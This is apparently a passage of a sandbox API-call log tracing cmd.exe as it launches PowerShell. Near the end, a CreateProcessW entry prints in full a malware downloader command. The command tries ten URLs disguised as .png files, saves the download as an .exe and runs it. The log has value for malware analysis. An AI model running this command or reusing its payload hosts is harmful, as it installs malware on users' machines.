returned 0x20b0f920000 [0167.523] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0167.526] SetErrorMode (uMode=0x0) returned 0x0 [0167.526] SetErrorMode (uMode=0x1) returned 0x0 [0167.526] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0167.526] SetErrorMode (uMode=0x0) returned 0x1 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x4e) returned 0x20b0f957f90 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x4e [0167.526] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0167.526] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0167.526] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.526] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f926ea0 [0167.526] GetProcessHeap () returned 0x20b0f920000 [0167.527] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f926ea0, Size=0x7e) returned 0x20b0f926ea0 [0167.527] GetProcessHeap () returned 0x20b0f920000 [0167.527] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926ea0) returned 0x7e [0167.527] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.527] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0167.527] GetLastError () returned 0x2 [0167.527] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.527] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0167.528] GetLastError () returned 0x2 [0167.528] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0167.528] GetLastError () returned 0x2 [0167.528] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0167.528] GetLastError () returned 0x2 [0167.528] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.528] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0167.529] GetLastError () returned 0x2 [0167.529] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d1b0 [0167.529] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0167.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0167.529] GetLastError () returned 0x2 [0167.529] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cdf0 [0167.529] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0167.529] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0167.529] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0167.529] ??_V@YAXPEAX@Z () returned 0x1 [0167.529] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0167.536] malloc (_Size=0xffce) returned 0x20b0fa70920 [0167.536] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0167.536] malloc (_Size=0xffce) returned 0x20b0fa80900 [0167.537] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0167.537] _wcsicmp (_String1="POWerShell", _String2="DIR") returned 12 [0167.537] _wcsicmp (_String1="POWerShell", _String2="ERASE") returned 11 [0167.537] _wcsicmp (_String1="POWerShell", _String2="DEL") returned 12 [0167.537] _wcsicmp (_String1="POWerShell", _String2="TYPE") returned -4 [0167.537] _wcsicmp (_String1="POWerShell", _String2="COPY") returned 13 [0167.537] _wcsicmp (_String1="POWerShell", _String2="CD") returned 13 [0167.537] _wcsicmp (_String1="POWerShell", _String2="CHDIR") returned 13 [0167.537] _wcsicmp (_String1="POWerShell", _String2="RENAME") returned -2 [0167.538] _wcsicmp (_String1="POWerShell", _String2="REN") returned -2 [0167.538] _wcsicmp (_String1="POWerShell", _String2="ECHO") returned 11 [0167.538] _wcsicmp (_String1="POWerShell", _String2="SET") returned -3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="PAUSE") returned 14 [0167.538] _wcsicmp (_String1="POWerShell", _String2="DATE") returned 12 [0167.538] _wcsicmp (_String1="POWerShell", _String2="TIME") returned -4 [0167.538] _wcsicmp (_String1="POWerShell", _String2="PROMPT") returned -3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="MD") returned 3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="MKDIR") returned 3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="RD") returned -2 [0167.538] _wcsicmp (_String1="POWerShell", _String2="RMDIR") returned -2 [0167.538] _wcsicmp (_String1="POWerShell", _String2="PATH") returned 14 [0167.538] _wcsicmp (_String1="POWerShell", _String2="GOTO") returned 9 [0167.538] _wcsicmp (_String1="POWerShell", _String2="SHIFT") returned -3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="CLS") returned 13 [0167.538] _wcsicmp (_String1="POWerShell", _String2="CALL") returned 13 [0167.538] _wcsicmp (_String1="POWerShell", _String2="VERIFY") returned -6 [0167.538] _wcsicmp (_String1="POWerShell", _String2="VER") returned -6 [0167.538] _wcsicmp (_String1="POWerShell", _String2="VOL") returned -6 [0167.538] _wcsicmp (_String1="POWerShell", _String2="EXIT") returned 11 [0167.538] _wcsicmp (_String1="POWerShell", _String2="SETLOCAL") returned -3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="ENDLOCAL") returned 11 [0167.538] _wcsicmp (_String1="POWerShell", _String2="TITLE") returned -4 [0167.538] _wcsicmp (_String1="POWerShell", _String2="START") returned -3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="DPATH") returned 12 [0167.538] _wcsicmp (_String1="POWerShell", _String2="KEYS") returned 5 [0167.538] _wcsicmp (_String1="POWerShell", _String2="MOVE") returned 3 [0167.538] _wcsicmp (_String1="POWerShell", _String2="PUSHD") returned -6 [0167.538] _wcsicmp (_String1="POWerShell", _String2="POPD") returned 7 [0167.539] _wcsicmp (_String1="POWerShell", _String2="ASSOC") returned 15 [0167.539] _wcsicmp (_String1="POWerShell", _String2="FTYPE") returned 10 [0167.539] _wcsicmp (_String1="POWerShell", _String2="BREAK") returned 14 [0167.539] _wcsicmp (_String1="POWerShell", _String2="COLOR") returned 13 [0167.539] _wcsicmp (_String1="POWerShell", _String2="MKLINK") returned 3 [0167.539] _wcsicmp (_String1="POWerShell", _String2="DIR") returned 12 [0167.539] _wcsicmp (_String1="POWerShell", _String2="ERASE") returned 11 [0167.539] _wcsicmp (_String1="POWerShell", _String2="DEL") returned 12 [0167.539] _wcsicmp (_String1="POWerShell", _String2="TYPE") returned -4 [0167.539] _wcsicmp (_String1="POWerShell", _String2="COPY") returned 13 [0167.539] _wcsicmp (_String1="POWerShell", _String2="CD") returned 13 [0167.539] _wcsicmp (_String1="POWerShell", _String2="CHDIR") returned 13 [0167.539] _wcsicmp (_String1="POWerShell", _String2="RENAME") returned -2 [0167.539] _wcsicmp (_String1="POWerShell", _String2="REN") returned -2 [0167.539] _wcsicmp (_String1="POWerShell", _String2="ECHO") returned 11 [0167.539] _wcsicmp (_String1="POWerShell", _String2="SET") returned -3 [0167.539] _wcsicmp (_String1="POWerShell", _String2="PAUSE") returned 14 [0167.539] _wcsicmp (_String1="POWerShell", _String2="DATE") returned 12 [0167.539] _wcsicmp (_String1="POWerShell", _String2="TIME") returned -4 [0167.539] _wcsicmp (_String1="POWerShell", _String2="PROMPT") returned -3 [0167.539] _wcsicmp (_String1="POWerShell", _String2="MD") returned 3 [0167.539] _wcsicmp (_String1="POWerShell", _String2="MKDIR") returned 3 [0167.539] _wcsicmp (_String1="POWerShell", _String2="RD") returned -2 [0167.539] _wcsicmp (_String1="POWerShell", _String2="RMDIR") returned -2 [0167.539] _wcsicmp (_String1="POWerShell", _String2="PATH") returned 14 [0167.539] _wcsicmp (_String1="POWerShell", _String2="GOTO") returned 9 [0167.539] _wcsicmp (_String1="POWerShell", _String2="SHIFT") returned -3 [0167.539] _wcsicmp (_String1="POWerShell", _String2="CLS") returned 13 [0167.540] _wcsicmp (_String1="POWerShell", _String2="CALL") returned 13 [0167.540] _wcsicmp (_String1="POWerShell", _String2="VERIFY") returned -6 [0167.540] _wcsicmp (_String1="POWerShell", _String2="VER") returned -6 [0167.540] _wcsicmp (_String1="POWerShell", _String2="VOL") returned -6 [0167.540] _wcsicmp (_String1="POWerShell", _String2="EXIT") returned 11 [0167.540] _wcsicmp (_String1="POWerShell", _String2="SETLOCAL") returned -3 [0167.540] _wcsicmp (_String1="POWerShell", _String2="ENDLOCAL") returned 11 [0167.540] _wcsicmp (_String1="POWerShell", _String2="TITLE") returned -4 [0167.540] _wcsicmp (_String1="POWerShell", _String2="START") returned -3 [0167.540] _wcsicmp (_String1="POWerShell", _String2="DPATH") returned 12 [0167.540] _wcsicmp (_String1="POWerShell", _String2="KEYS") returned 5 [0167.540] _wcsicmp (_String1="POWerShell", _String2="MOVE") returned 3 [0167.540] _wcsicmp (_String1="POWerShell", _String2="PUSHD") returned -6 [0167.540] _wcsicmp (_String1="POWerShell", _String2="POPD") returned 7 [0167.540] _wcsicmp (_String1="POWerShell", _String2="ASSOC") returned 15 [0167.540] _wcsicmp (_String1="POWerShell", _String2="FTYPE") returned 10 [0167.540] _wcsicmp (_String1="POWerShell", _String2="BREAK") returned 14 [0167.540] _wcsicmp (_String1="POWerShell", _String2="COLOR") returned 13 [0167.540] _wcsicmp (_String1="POWerShell", _String2="MKLINK") returned 3 [0167.541] _wcsicmp (_String1="POWerShell", _String2="FOR") returned 10 [0167.541] _wcsicmp (_String1="POWerShell", _String2="IF") returned 7 [0167.541] _wcsicmp (_String1="POWerShell", _String2="REM") returned -2 [0167.541] ??_V@YAXPEAX@Z () returned 0x1 [0167.541] GetProcessHeap () returned 0x20b0f920000 [0167.541] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0167.541] GetProcessHeap () returned 0x20b0f920000 [0167.541] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x546) returned 0x20b0f947bc0 [0167.541] _wcsnicmp (_String1="POWe", _String2="cmd ", _MaxCount=0x4) returned 13 [0167.541] malloc (_Size=0xffce) returned 0x20b0fa80900 [0167.542] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0167.542] GetProcessHeap () returned 0x20b0f920000 [0167.542] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0167.543] SetErrorMode (uMode=0x0) returned 0x0 [0167.544] SetErrorMode (uMode=0x1) returned 0x0 [0167.544] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0167.544] SetErrorMode (uMode=0x0) returned 0x1 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x4e) returned 0x20b0f967fe0 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x4e [0167.544] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0167.544] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d600 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0167.544] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f926b80 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f926b80, Size=0x7e) returned 0x20b0f926b80 [0167.544] GetProcessHeap () returned 0x20b0f920000 [0167.544] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926b80) returned 0x7e [0167.544] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0167.545] GetLastError () returned 0x2 [0167.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.545] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0167.545] GetLastError () returned 0x2 [0167.545] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.545] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0167.546] GetLastError () returned 0x2 [0167.546] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.546] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0167.546] GetLastError () returned 0x2 [0167.546] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.546] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0167.546] GetLastError () returned 0x2 [0167.546] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0167.546] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\POWerShell.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d090 [0167.546] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0167.547] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0167.547] GetLastError () returned 0x2 [0167.547] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0167.547] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0167.547] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0167.547] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0167.547] ??_V@YAXPEAX@Z () returned 0x1 [0167.548] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92fe6f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0167.548] InitializeProcThreadAttributeList (in: lpAttributeList=0x9cb92fe610, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9cb92fe500 | out: lpAttributeList=0x9cb92fe610, lpSize=0x9cb92fe500) returned 1 [0167.548] UpdateProcThreadAttribute (in: lpAttributeList=0x9cb92fe610, dwFlags=0x0, Attribute=0x60001, lpValue=0x9cb92fe4ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9cb92fe610, lpPreviousValue=0x0) returned 1 [0167.548] GetStartupInfoW (in: lpStartupInfo=0x9cb92fe5a0 | out: lpStartupInfo=0x9cb92fe5a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0167.548] GetProcessHeap () returned 0x20b0f920000 [0167.548] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f948110 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.548] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0167.549] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0167.550] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0167.550] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0167.550] GetProcessHeap () returned 0x20b0f920000 [0167.550] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f948110) returned 1 [0167.550] GetProcessHeap () returned 0x20b0f920000 [0167.550] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x12) returned 0x20b0f947120 [0167.550] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0167.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.550] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0167.550] _get_osfhandle (_FileHandle=0) returned 0x4c [0167.550] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0167.551] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="POWerShell Foreach($url in @('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png')) { try{$path = 'C:\\BlotRots\\Loterios.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x9cb92fe530*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="POWerShell Foreach($url in @('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png')) { try{$path = 'C:\\BlotRots\\Loterios.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9cb92fe508 | out: lpCommandLine="POWerShell Foreach($url in @('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png')) { 